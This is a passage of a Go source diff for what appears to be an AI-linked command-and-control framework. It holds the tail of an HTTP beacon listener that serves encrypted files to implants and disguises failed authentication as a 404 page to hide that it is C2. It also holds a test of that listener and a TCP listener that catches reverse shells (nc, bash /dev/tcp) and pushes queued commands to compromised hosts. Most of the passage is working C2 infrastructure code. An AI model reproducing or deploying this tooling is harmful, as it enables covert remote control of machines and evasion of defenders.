l.disguisedReject(w)
|
||||
return
|
||||
}
|
||||
dir := filepath.Join(l.manager.StorageDir(), "uploads")
|
||||
if err := os.MkdirAll(dir, 0o755); err != nil {
|
||||
http.Error(w, "mkdir failed", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
dst := filepath.Join(dir, taskID+".bin")
|
||||
if err := os.WriteFile(dst, plaintext, 0o644); err != nil {
|
||||
http.Error(w, "save failed", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
l.writeEncrypted(w, map[string]interface{}{"ok": 1, "size": len(plaintext)})
|
||||
}
|
||||
|
||||
// handleFileServe 实现服务端 → implant 的文件下发(upload 任务用)。
|
||||
// 路径形如 /file/<task_id>,文件内容经 AES-GCM 加密后返回。
|
||||
func (l *HTTPBeaconListener) handleFileServe(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodGet {
|
||||
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
|
||||
return
|
||||
}
|
||||
if !l.checkImplantToken(r) {
|
||||
l.disguisedReject(w)
|
||||
return
|
||||
}
|
||||
prefix := l.cfg.BeaconFilePath
|
||||
taskID := strings.TrimPrefix(r.URL.Path, prefix)
|
||||
if taskID == "" || strings.Contains(taskID, "/") || strings.Contains(taskID, "\\") || strings.Contains(taskID, "..") {
|
||||
l.disguisedReject(w)
|
||||
return
|
||||
}
|
||||
fpath := filepath.Join(l.manager.StorageDir(), "downstream", taskID+".bin")
|
||||
absPath, err := filepath.Abs(fpath)
|
||||
if err != nil {
|
||||
l.disguisedReject(w)
|
||||
return
|
||||
}
|
||||
absDir, err := filepath.Abs(filepath.Join(l.manager.StorageDir(), "downstream"))
|
||||
if err != nil || !strings.HasPrefix(absPath, absDir+string(filepath.Separator)) {
|
||||
l.disguisedReject(w)
|
||||
return
|
||||
}
|
||||
data, err := os.ReadFile(absPath)
|
||||
if err != nil {
|
||||
l.disguisedReject(w)
|
||||
return
|
||||
}
|
||||
l.writeEncrypted(w, map[string]interface{}{
|
||||
"file_data": base64Encode(data),
|
||||
})
|
||||
}
|
||||
|
||||
// ----------------------------------------------------------------------------
|
||||
// 鉴权 / 输出辅助
|
||||
// ----------------------------------------------------------------------------
|
||||
|
||||
// checkImplantToken 校验 X-Implant-Token header(恒定时间比较防止时序攻击)
|
||||
func (l *HTTPBeaconListener) checkImplantToken(r *http.Request) bool {
|
||||
got := r.Header.Get("X-Implant-Token")
|
||||
if got == "" {
|
||||
got = r.Header.Get("Cookie") // 兼容 Malleable Profile 用 Cookie 携带
|
||||
}
|
||||
expected := l.rec.ImplantToken
|
||||
if got == "" || expected == "" {
|
||||
return false
|
||||
}
|
||||
return subtle.ConstantTimeCompare([]byte(got), []byte(expected)) == 1
|
||||
}
|
||||
|
||||
// disguisedReject 鉴权失败时返回 404,避免暴露 listener 是 C2
|
||||
func (l *HTTPBeaconListener) disguisedReject(w http.ResponseWriter) {
|
||||
w.Header().Set("Content-Type", "text/html; charset=utf-8")
|
||||
w.WriteHeader(http.StatusNotFound)
|
||||
_, _ = fmt.Fprint(w, "<html><body><h1>404 Not Found</h1></body></html>")
|
||||
}
|
||||
|
||||
// writeEncrypted JSON 序列化 + AES-GCM 加密 + 写回
|
||||
func (l *HTTPBeaconListener) writeEncrypted(w http.ResponseWriter, payload interface{}) {
|
||||
body, err := json.Marshal(payload)
|
||||
if err != nil {
|
||||
http.Error(w, "encode failed", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
enc, err := EncryptAESGCM(l.rec.EncryptionKey, body)
|
||||
if err != nil {
|
||||
http.Error(w, "encrypt failed", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
w.Header().Set("Content-Type", "application/octet-stream")
|
||||
_, _ = w.Write([]byte(enc))
|
||||
}
|
||||
|
||||
// loadProfile loads Malleable Profile from DB if the listener has a profile_id configured
|
||||
func (l *HTTPBeaconListener) loadProfile() {
|
||||
if l.rec.ProfileID == "" {
|
||||
return
|
||||
}
|
||||
profile, err := l.manager.GetProfile(l.rec.ProfileID)
|
||||
if err != nil || profile == nil {
|
||||
l.logger.Warn("加载 Malleable Profile 失败,使用默认配置",
|
||||
zap.String("profile_id", l.rec.ProfileID), zap.Error(err))
|
||||
return
|
||||
}
|
||||
l.profile = profile
|
||||
l.logger.Info("Malleable Profile 已加载",
|
||||
zap.String("profile_id", profile.ID),
|
||||
zap.String("profile_name", profile.Name),
|
||||
zap.String("user_agent", profile.UserAgent))
|
||||
}
|
||||
|
||||
// withProfileHeaders wraps a handler to inject Malleable Profile response headers
|
||||
func (l *HTTPBeaconListener) withProfileHeaders(next http.HandlerFunc) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
if l.profile != nil && len(l.profile.ResponseHeaders) > 0 {
|
||||
for k, v := range l.profile.ResponseHeaders {
|
||||
w.Header().Set(k, v)
|
||||
}
|
||||
}
|
||||
next(w, r)
|
||||
}
|
||||
}
|
||||
|
||||
// ----------------------------------------------------------------------------
|
||||
// TLS 自签证书(仅供测试 / Phase 2 默认行为)
|
||||
// ----------------------------------------------------------------------------
|
||||
|
||||
func (l *HTTPBeaconListener) buildTLSConfig() (*tls.Config, error) {
|
||||
// 操作员显式提供证书 → 优先使用
|
||||
if l.cfg.TLSCertPath != "" && l.cfg.TLSKeyPath != "" {
|
||||
cert, err := tls.LoadX509KeyPair(l.cfg.TLSCertPath, l.cfg.TLSKeyPath)
|
||||
if err == nil {
|
||||
return &tls.Config{Certificates: []tls.Certificate{cert}, MinVersion: tls.VersionTLS12}, nil
|
||||
}
|
||||
l.logger.Warn("加载 TLS 证书失败,回退自签", zap.Error(err))
|
||||
}
|
||||
// 自签证书:CN 用 listener 名,避免重复
|
||||
cert, err := generateSelfSignedCert(l.rec.Name)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &tls.Config{Certificates: []tls.Certificate{cert}, MinVersion: tls.VersionTLS12}, nil
|
||||
}
|
||||
|
||||
func generateSelfSignedCert(cn string) (tls.Certificate, error) {
|
||||
priv, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
|
||||
if err != nil {
|
||||
return tls.Certificate{}, err
|
||||
}
|
||||
serial, _ := rand.Int(rand.Reader, big.NewInt(1<<62))
|
||||
tmpl := &x509.Certificate{
|
||||
SerialNumber: serial,
|
||||
Subject: pkix.Name{CommonName: cn},
|
||||
NotBefore: time.Now().Add(-1 * time.Hour),
|
||||
NotAfter: time.Now().Add(365 * 24 * time.Hour),
|
||||
KeyUsage: x509.KeyUsageDigitalSignature,
|
||||
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
|
||||
IPAddresses: []net.IP{net.ParseIP("127.0.0.1")},
|
||||
DNSNames: []string{"localhost"},
|
||||
}
|
||||
der, err := x509.CreateCertificate(rand.Reader, tmpl, tmpl, &priv.PublicKey, priv)
|
||||
if err != nil {
|
||||
return tls.Certificate{}, err
|
||||
}
|
||||
keyDER, err := x509.MarshalECPrivateKey(priv)
|
||||
if err != nil {
|
||||
return tls.Certificate{}, err
|
||||
}
|
||||
certPEM := pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: der})
|
||||
keyPEM := pem.EncodeToMemory(&pem.Block{Type: "EC PRIVATE KEY", Bytes: keyDER})
|
||||
return tls.X509KeyPair(certPEM, keyPEM)
|
||||
}
|
||||
|
||||
func base64Encode(data []byte) string {
|
||||
return base64.StdEncoding.EncodeToString(data)
|
||||
}
|
||||
|
||||
func shortHash(s string) string {
|
||||
h := sha256.Sum256([]byte(s))
|
||||
return hex.EncodeToString(h[:6])
|
||||
}
|
||||
|
||||
// isPlaintextClient 判断请求是否来自明文客户端(curl oneliner 等)
|
||||
// 完整 beacon 二进制会设置 Content-Type: application/octet-stream
|
||||
func (l *HTTPBeaconListener) isPlaintextClient(r *http.Request) bool {
|
||||
ct := r.Header.Get("Content-Type")
|
||||
accept := r.Header.Get("Accept")
|
||||
return strings.Contains(ct, "application/json") ||
|
||||
strings.Contains(accept, "application/json") ||
|
||||
strings.Contains(r.UserAgent(), "curl/")
|
||||
}
|
||||
|
||||
// ApplyJitter 给定基础 sleep + jitter 百分比,返回随机抖动后的 duration
|
||||
// 公开给 listener_websocket / payload 模板共用,避免重复实现
|
||||
func ApplyJitter(baseSec, jitterPercent int) time.Duration {
|
||||
if baseSec <= 0 {
|
||||
return 0
|
||||
}
|
||||
if jitterPercent <= 0 {
|
||||
return time.Duration(baseSec) * time.Second
|
||||
}
|
||||
if jitterPercent > 100 {
|
||||
jitterPercent = 100
|
||||
}
|
||||
delta := mrand.Intn(2*jitterPercent+1) - jitterPercent // [-j, +j]
|
||||
factor := 1.0 + float64(delta)/100.0
|
||||
return time.Duration(float64(baseSec)*factor) * time.Second
|
||||
}
|
||||
@@ -0,0 +1,129 @@
|
||||
package c2
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"io"
|
||||
"net"
|
||||
"net/http"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"cyberstrike-ai/internal/database"
|
||||
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
// 集成验证:路由、鉴权伪装 404、明文 check-in JSON 回包。
|
||||
func TestHTTPBeaconListener_CheckInMatrix(t *testing.T) {
|
||||
tmp := t.TempDir()
|
||||
dbPath := filepath.Join(tmp, "c2.sqlite")
|
||||
db, err := database.NewDB(dbPath, zap.NewNop())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = db.Close() })
|
||||
|
||||
lnPick, err := net.Listen("tcp", "127.0.0.1:0")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
port := lnPick.Addr().(*net.TCPAddr).Port
|
||||
_ = lnPick.Close()
|
||||
|
||||
keyB64, err := GenerateAESKey()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
token := "test-implant-token-fixed"
|
||||
|
||||
lid := "l_testhttpbeacon01"
|
||||
rec := &database.C2Listener{
|
||||
ID: lid,
|
||||
Name: "t",
|
||||
Type: string(ListenerTypeHTTPBeacon),
|
||||
BindHost: "127.0.0.1",
|
||||
BindPort: port,
|
||||
EncryptionKey: keyB64,
|
||||
ImplantToken: token,
|
||||
Status: "stopped",
|
||||
ConfigJSON: `{"beacon_check_in_path":"/check_in"}`,
|
||||
CreatedAt: time.Now(),
|
||||
}
|
||||
if err := db.CreateC2Listener(rec); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
m := NewManager(db, zap.NewNop(), filepath.Join(tmp, "c2store"))
|
||||
m.Registry().Register(string(ListenerTypeHTTPBeacon), NewHTTPBeaconListener)
|
||||
if _, err := m.StartListener(lid); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = m.StopListener(lid) })
|
||||
|
||||
base := "http://127.0.0.1:" + strconv.Itoa(port)
|
||||
client := &http.Client{Timeout: 5 * time.Second}
|
||||
|
||||
t.Run("wrong_path_go_default_404", func(t *testing.T) {
|
||||
resp, err := client.Post(base+"/nope", "application/json", strings.NewReader(`{}`))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
b, _ := io.ReadAll(resp.Body)
|
||||
if resp.StatusCode != http.StatusNotFound {
|
||||
t.Fatalf("status=%d body=%q", resp.StatusCode, b)
|
||||
}
|
||||
if !strings.Contains(string(b), "404") || !strings.Contains(strings.ToLower(string(b)), "not found") {
|
||||
t.Fatalf("unexpected body: %q", b)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("check_in_wrong_token_disguised_html_404", func(t *testing.T) {
|
||||
req, _ := http.NewRequest(http.MethodPost, base+"/check_in", bytes.NewBufferString(`{"hostname":"h"}`))
|
||||
req.Header.Set("X-Implant-Token", "wrong-token")
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
b, _ := io.ReadAll(resp.Body)
|
||||
if resp.StatusCode != http.StatusNotFound {
|
||||
t.Fatalf("status=%d", resp.StatusCode)
|
||||
}
|
||||
ct := resp.Header.Get("Content-Type")
|
||||
if !strings.Contains(ct, "text/html") {
|
||||
t.Fatalf("content-type=%q body=%q", ct, b)
|
||||
}
|
||||
if !strings.Contains(string(b), "404 Not Found") {
|
||||
t.Fatalf("expected disguised HTML, got: %q", b)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("check_in_ok_plaintext_json", func(t *testing.T) {
|
||||
body := `{"hostname":"n","username":"u","os":"Linux","arch":"amd64","internal_ip":"10.0.0.1","pid":42}`
|
||||
req, _ := http.NewRequest(http.MethodPost, base+"/check_in", strings.NewReader(body))
|
||||
req.Header.Set("X-Implant-Token", token)
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
b, _ := io.ReadAll(resp.Body)
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
t.Fatalf("status=%d body=%s", resp.StatusCode, b)
|
||||
}
|
||||
var out ImplantCheckInResponse
|
||||
if err := json.Unmarshal(b, &out); err != nil {
|
||||
t.Fatalf("json: %v body=%s", err, b)
|
||||
}
|
||||
if out.SessionID == "" || out.NextSleep <= 0 {
|
||||
t.Fatalf("bad response: %+v", out)
|
||||
}
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,439 @@
|
||||
package c2
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"context"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"regexp"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
|
||||
"cyberstrike-ai/internal/database"
|
||||
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
// TCPReverseListener 监听 TCP 端口,等待目标机反弹连接。
|
||||
// 经典模式:纯交互式 raw shell,与 nc / bash -i >& /dev/tcp 兼容。
|
||||
// 二进制 Beacon:连接后先发送魔数 CSB1,随后使用与 HTTP Beacon 相同的 AES-GCM JSON 语义(成帧见 tcp_beacon_server.go)。
|
||||
// 每个新连接自动生成一个 implant_uuid(基于远端地址 + 启动时间 hash),登记为 c2_session;
|
||||
// 任务派发:使用同步 exec 模式 —— 收到 task 时直接 send 命令字节并读取输出(带结束标记)。
|
||||
type TCPReverseListener struct {
|
||||
rec *database.C2Listener
|
||||
cfg *ListenerConfig
|
||||
manager *Manager
|
||||
logger *zap.Logger
|
||||
|
||||
mu sync.Mutex
|
||||
listener net.Listener
|
||||
stopCh chan struct{}
|
||||
conns map[string]*tcpReverseConn // session_id → 连接
|
||||
stopOnce sync.Once
|
||||
}
|
||||
|
||||
// tcpReverseConn 单个反弹会话的运行时状态
|
||||
type tcpReverseConn struct {
|
||||
sessionID string
|
||||
conn net.Conn
|
||||
reader *bufio.Reader
|
||||
writeMu sync.Mutex // 序列化 write,避免并发 task 写入
|
||||
taskMode int32 // 原子标志: 0=空闲(handleConn读), 1=任务中(runTaskOnConn独占读)
|
||||
}
|
||||
|
||||
// NewTCPReverseListener 工厂方法(注册到 ListenerRegistry["tcp_reverse"])
|
||||
func NewTCPReverseListener(ctx ListenerCreationCtx) (Listener, error) {
|
||||
return &TCPReverseListener{
|
||||
rec: ctx.Listener,
|
||||
cfg: ctx.Config,
|
||||
manager: ctx.Manager,
|
||||
logger: ctx.Logger,
|
||||
stopCh: make(chan struct{}),
|
||||
conns: make(map[string]*tcpReverseConn),
|
||||
}, nil
|
||||
}
|
||||
|
||||
// Type 返回类型常量
|
||||
func (l *TCPReverseListener) Type() string { return string(ListenerTypeTCPReverse) }
|
||||
|
||||
// Start 启动 TCP 监听,accept 在独立 goroutine 中运行
|
||||
func (l *TCPReverseListener) Start() error {
|
||||
addr := fmt.Sprintf("%s:%d", l.rec.BindHost, l.rec.BindPort)
|
||||
ln, err := net.Listen("tcp", addr)
|
||||
if err != nil {
|
||||
if isAddrInUse(err) {
|
||||
return ErrPortInUse
|
||||
}
|
||||
return err
|
||||
}
|
||||
l.mu.Lock()
|
||||
l.listener = ln
|
||||
l.mu.Unlock()
|
||||
go l.acceptLoop()
|
||||
go l.taskDispatcherLoop()
|
||||
return nil
|
||||
}
|
||||
|
||||
// Stop 关闭监听 + 所有活动连接
|
||||
func (l *TCPReverseListener) Stop() error {
|
||||
l.stopOnce.Do(func() {
|
||||
close(l.stopCh)
|
||||
})
|
||||
l.mu.Lock()
|
||||
if l.listener != nil {
|
||||
_ = l.listener.Close()
|
||||
l.listener = nil
|
||||
}
|
||||
for sid, c := range l.conns {
|
||||
_ = c.conn.Close()
|
||||
delete(l.conns, sid)
|
||||
}
|
||||
l.mu.Unlock()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (l *TCPReverseListener) acceptLoop() {
|
||||
for {
|
||||
l.mu.Lock()
|
||||
ln := l.listener
|
||||
l.mu.Unlock()
|
||||
if ln == nil {
|
||||
return
|
||||
}
|
||||
conn, err := ln.Accept()
|
||||
if err != nil {
|
||||
select {
|
||||
case <-l.stopCh:
|
||||
return
|
||||
default:
|
||||
}
|
||||
if isClosedConnErr(err) {
|
||||
return
|
||||
}
|
||||
l.logger.Warn("tcp_reverse accept 失败", zap.Error(err))
|
||||
continue
|
||||
}
|
||||
go l.handleConn(conn)
|
||||
}
|
||||
}
|
||||
|
||||
// handleConn 一个连接=一个会话:先识别二进制 TCP Beacon(魔数 CSB1),否则走经典交互式 shell。
|
||||
func (l *TCPReverseListener) handleConn(conn net.Conn) {
|
||||
br := bufio.NewReader(conn)
|
||||
_ = conn.SetReadDeadline(time.Now().Add(20 * time.Second))
|
||||
prefix, err := br.Peek(4)
|
||||
if err == nil && len(prefix) == 4 && string(prefix) == tcpBeaconMagic {
|
||||
if _, err := br.Discard(4); err != nil {
|
||||
_ = conn.Close()
|
||||
return
|
||||
}
|
||||
_ = conn.SetReadDeadline(time.Time{})
|
||||
l.handleTCPBeaconSession(conn, br)
|
||||
return
|
||||
}
|
||||
_ = conn.SetReadDeadline(time.Time{})
|
||||
l.handleShellConn(conn, br)
|
||||
}
|
||||
|
||||
// handleShellConn 经典裸 TCP 反弹 shell(与 nc/bash /dev/tcp 兼容)。
|
||||
func (l *TCPReverseListener) handleShellConn(conn net.Conn, br *bufio.Reader) {
|
||||
remote := conn.RemoteAddr().String()
|
||||
host, _, _ := net.SplitHostPort(remote)
|
||||
// 用 listener+remote_ip 生成稳定 implant_uuid,使同一来源的重连复用同一会话
|
||||
uuidSeed := fmt.Sprintf("%s|%s", l.rec.ID, host)
|
||||
hash := sha256.Sum256([]byte(uuidSeed))
|
||||
implantUUID := hex.EncodeToString(hash[:8])
|
||||
|
||||
checkin := ImplantCheckInRequest{
|
||||
ImplantUUID: implantUUID,
|
||||
Hostname: "tcp_" + host,
|
||||
Username: "unknown",
|
||||
OS: "unknown",
|
||||
Arch: "unknown",
|
||||
InternalIP: host,
|
||||
SleepSeconds: 0, // 交互式不需要 sleep
|
||||
JitterPercent: 0,
|
||||
Metadata: map[string]interface{}{
|
||||
"transport": "tcp_reverse",
|
||||
"remote": remote,
|
||||
},
|
||||
}
|
||||
session, err := l.manager.IngestCheckIn(l.rec.ID, checkin)
|
||||
if err != nil {
|
||||
l.logger.Warn("tcp_reverse 登记会话失败", zap.Error(err))
|
||||
_ = conn.Close()
|
||||
return
|
||||
}
|
||||
|
||||
tc := &tcpReverseConn{
|
||||
sessionID: session.ID,
|
||||
conn: conn,
|
||||
reader: br,
|
||||
}
|
||||
l.mu.Lock()
|
||||
if old, exists := l.conns[session.ID]; exists {
|
||||
_ = old.conn.Close()
|
||||
}
|
||||
l.conns[session.ID] = tc
|
||||
l.mu.Unlock()
|
||||
|
||||
defer func() {
|
||||
l.mu.Lock()
|
||||
if cur, ok := l.conns[session.ID]; ok && cur == tc {
|
||||
delete(l.conns, session.ID)
|
||||
_ = l.manager.MarkSessionDead(session.ID)
|
||||
}
|
||||
l.mu.Unlock()
|
||||
_ = conn.Close()
|
||||
}()
|
||||
|
||||
// 主循环:检测连接存活 + 读取非任务期间的 unsolicited 输出
|
||||
// 注意:必须统一使用 tc.reader 读取,避免与 runTaskOnConn 的 bufio.Reader 产生数据分裂
|
||||
buf := make([]byte, 4096)
|
||||
for {
|
||||
select {
|
||||
case <-l.stopCh:
|
||||
return
|
||||
default:
|
||||
}
|
||||
// 任务执行中,runTaskOnConn 独占读取权,主循环暂停
|
||||
if atomic.LoadInt32(&tc.taskMode) == 1 {
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
continue
|
||||
}
|
||||
_ = conn.SetReadDeadline(time.Now().Add(60 * time.Second))
|
||||
n, err := tc.reader.Read(buf)
|
||||
if n > 0 {
|
||||
// 收到数据也刷新心跳
|
||||
_ = l.manager.DB().TouchC2Session(session.ID, string(SessionActive), time.Now())
|
||||
if atomic.LoadInt32(&tc.taskMode) == 0 {
|
||||
l.manager.publishEvent("info", "task", session.ID, "",
|
||||
"stdout(unsolicited)", map[string]interface{}{
|
||||
"output": string(buf[:n]),
|
||||
})
|
||||
}
|
||||
}
|
||||
if err != nil {
|
||||
if err == io.EOF || isClosedConnErr(err) {
|
||||
return
|
||||
}
|
||||
if ne, ok := err.(net.Error); ok && ne.Timeout() {
|
||||
// 读超时 = 连接仍存活但无数据,刷新心跳防止看门狗误判
|
||||
_ = l.manager.DB().TouchC2Session(session.ID, string(SessionActive), time.Now())
|
||||
continue
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// taskDispatcherLoop 周期扫描所有活动会话的任务队列,下发 exec/shell 类型的同步命令
|
||||
func (l *TCPReverseListener) taskDispatcherLoop() {
|
||||
t := time.NewTicker(500 * time.Millisecond)
|
||||
defer t.Stop()
|
||||
for {
|
||||
select {
|
||||
case <-l.stopCh:
|
||||
return
|
||||
case <-t.C:
|
||||
l.mu.Lock()
|
||||
snapshot := make([]*tcpReverseConn, 0, len(l.conns))
|
||||
for _, c := range l.conns {
|
||||
snapshot = append(snapshot, c)
|
||||
}
|
||||
l.mu.Unlock()
|
||||
for _, c := range snapshot {
|
||||
envelopes, err := l.manager.PopTasksForBeacon(c.sessionID, 5)
|
||||
if err != nil || len(envelopes) == 0 {
|
||||
continue
|
||||
}
|
||||
for _, env := range envelopes {
|
||||
go l.runTaskOnConn(c, env)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// runTaskOnConn 把一条 task 转成 raw shell 命令发送,通过结束标记读输出
|
||||
func (l *TCPReverseListener) runTaskOnConn(c *tcpReverseConn, env TaskEnvelope) {
|
||||
startedAt := NowUnixMillis()
|
||||
cmd, ok := buildTCPCommand(TaskType(env.TaskType), env.Payload)
|
||||
if !ok {
|
||||
l.reportTaskResult(env.TaskID, startedAt, false, "", "tcp_reverse listener 不支持该任务类型: "+env.TaskType, "", "")
|
||||
return
|
||||
}
|
||||
|
||||
// 独占读取权:通知 handleConn 主循环暂停
|
||||
atomic.StoreInt32(&c.taskMode, 1)
|
||||
defer atomic.StoreInt32(&c.taskMode, 0)
|
||||
|
||||
// 等待 handleConn 循环退出读取(给 100ms 让正在进行的 Read 超时/完成)
|
||||
time.Sleep(150 * time.Millisecond)
|
||||
|
||||
// 排空 buffer 中残留的 bash 提示符等数据
|
||||
drainStaleData(c.reader, c.conn)
|
||||
|
||||
endMark := fmt.Sprintf("__C2_DONE_%s__", env.TaskID)
|
||||
wrapped := fmt.Sprintf("%s\necho %s\n", strings.TrimSpace(cmd), endMark)
|
||||
c.writeMu.Lock()
|
||||
_ = c.conn.SetWriteDeadline(time.Now().Add(15 * time.Second))
|
||||
if _, err := c.conn.Write([]byte(wrapped)); err != nil {
|
||||
c.writeMu.Unlock()
|
||||
l.reportTaskResult(env.TaskID, startedAt, false, "", "写命令失败: "+err.Error(), "", "")
|
||||
return
|
||||
}
|
||||
c.writeMu.Unlock()
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 60*time.Second)
|
||||
defer cancel()
|
||||
output, err := readUntilMarker(ctx, c.reader, endMark)
|
||||
if err != nil {
|
||||
l.reportTaskResult(env.TaskID, startedAt, false, output, "读取结果失败: "+err.Error(), "", "")
|
||||
return
|
||||
}
|
||||
cleaned := cleanShellOutput(output, cmd)
|
||||
l.reportTaskResult(env.TaskID, startedAt, true, cleaned, "", "", "")
|
||||
}
|
||||
|
||||
// reportTaskResult 适配 Manager.IngestTaskResult,统一报告路径
|
||||
func (l *TCPReverseListener) reportTaskResult(taskID string, startedAtMS int64, success bool, output, errMsg, blobB64, blobSuffix string) {
|
||||
_ = l.manager.IngestTaskResult(TaskResultReport{
|
||||
TaskID: taskID,
|
||||
Success: success,
|
||||
Output: output,
|
||||
Error: errMsg,
|
||||
BlobBase64: blobB64,
|
||||
BlobSuffix: blobSuffix,
|
||||
StartedAt: startedAtMS,
|
||||
EndedAt: NowUnixMillis(),
|
||||
})
|
||||
}
|
||||
|
||||
// buildTCPCommand 把 (TaskType + payload) 转成 raw shell 命令字符串。
|
||||
// 仅支持 TCP 反弹模式可直接执行的最简任务类型;upload/download/screenshot 这些
|
||||
// 需要二进制传输的能力建议使用 http_beacon。
|
||||
func buildTCPCommand(t TaskType, payload map[string]interface{}) (string, bool) {
|
||||
switch t {
|
||||
case TaskTypeExec, TaskTypeShell:
|
||||
cmd, _ := payload["command"].(string)
|
||||
return cmd, true
|
||||
case TaskTypePwd:
|
||||
return "pwd 2>/dev/null || cd", true
|
||||
case TaskTypeLs:
|
||||
path, _ := payload["path"].(string)
|
||||
if strings.TrimSpace(path) == "" {
|
||||
path = "."
|
||||
}
|
||||
return "ls -la " + shellQuote(path), true
|
||||
case TaskTypePs:
|
||||
return "ps -ef 2>/dev/null || ps aux", true
|
||||
case TaskTypeKillProc:
|
||||
pid, _ := payload["pid"].(float64)
|
||||
if pid <= 0 {
|
||||
return "", false
|
||||
}
|
||||
return fmt.Sprintf("kill -9 %d", int(pid)), true
|
||||
case TaskTypeCd:
|
||||
path, _ := payload["path"].(string)
|
||||
if strings.TrimSpace(path) == "" {
|
||||
return "", false
|
||||
}
|
||||
return "cd " + shellQuote(path) + " && pwd", true
|
||||
case TaskTypeExit:
|
||||
return "exit 0", true
|
||||
}
|
||||
return "", false
|
||||
}
|
||||
|
||||
// readUntilMarker 从 reader 持续读,直到匹配 endMarker;返回去掉标记后的输出
|
||||
func readUntilMarker(ctx context.Context, r *bufio.Reader, marker string) (string, error) {
|
||||
var sb strings.Builder
|
||||
buf := make([]byte, 4096)
|
||||
deadline := time.Now().Add(60 * time.Second)
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return sb.String(), ctx.Err()
|
||||
default:
|
||||
}
|
||||
if time.Now().After(deadline) {
|
||||
return sb.String(), fmt.Errorf("timeout")
|
||||
}
|
||||
n, err := r.Read(buf)
|
||||
if n > 0 {
|
||||
sb.Write(buf[:n])
|
||||
if idx := strings.Index(sb.String(), marker); idx >= 0 {
|
||||
return strings.TrimRight(sb.String()[:idx], "\r\n"), nil
|
||||
}
|
||||
}
|
||||
if err != nil {
|
||||
return sb.String(), err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func shellQuote(s string) string {
|
||||
return "'" + strings.ReplaceAll(s, "'", "'\\''") + "'"
|
||||
}
|
||||
|
||||
func isAddrInUse(err error) bool {
|
||||
if err == nil {
|
||||
return false
|
||||
}
|
||||
return strings.Contains(strings.ToLower(err.Error()), "address already in use") ||
|
||||
strings.Contains(strings.ToLower(err.Error()), "bind: only one usage")
|
||||
}
|
||||
|
||||
func isClosedConnErr(err error) bool {
|
||||
if err == nil {
|
||||
return false
|
||||
}
|
||||
es := err.Error()
|
||||
return strings.Contains(es, "use of closed network connection") ||
|
||||
strings.Contains(es, "connection reset by peer")
|
||||
}
|
||||
|
||||
// drainStaleData 用短超时读取并丢弃 buffer 中残留的 shell 提示符等数据
|
||||
func drainStaleData(r *bufio.Reader, conn net.Conn) {
|
||||
buf := make([]byte, 4096)
|
||||
for {
|
||||
_ = conn.SetReadDeadline(time.Now().Add(200 * time.Millisecond))
|
||||
n, err := r.Read(buf)
|
||||
if n == 0 || err != nil {
|
||||
break
|
||||
}
|
||||
}
|
||||
// 恢复较长的读超时
|
||||
_ = conn.SetReadDeadline(time.Time{})
|
||||
}
|
||||
|
||||
var shellPromptRe = regexp.MustCompile(`(?m)^.*?(bash[\-\d.]*\$|[\$#%>]\s*)$`)
|
||||
|
||||
// cleanShellOutput 过滤 bash 提示符行和命令回显,返回干净的命令输出
|
||||
func cleanShellOutput(raw, cmd string) string {
|
||||
lines := strings.Split(raw, "\n")
|
||||
var cleaned []string
|
||||
cmdTrimmed := strings.TrimSpace(cmd)
|
||||
echoSkipped := false
|
||||
for _, line := range lines {
|
||||
trimmed := strings.TrimRight(line, "\r \t")
|
||||
// 跳过命令回显行(bash 会 echo 回输入的命令)
|
||||
if !echoSkipped && cmdTrimmed != "" && strings.Contains(trimmed, cmdTrimmed) {
|
||||
echoSkipped = true
|
||||
continue
|
||||
}
|
||||
// 跳过纯 shell 提示符行
|
||||
if shellPromptRe.MatchString(trimmed) && len(strings.TrimSpace(shellPromptRe.ReplaceAllString(trimmed, ""))) == 0 {
|
||||
continue
|
||||
}
|
||||
cleaned = append(cleaned, line)
|
||||
}
|
||||
result := strings.Join(cleaned, "\n")
|
||||
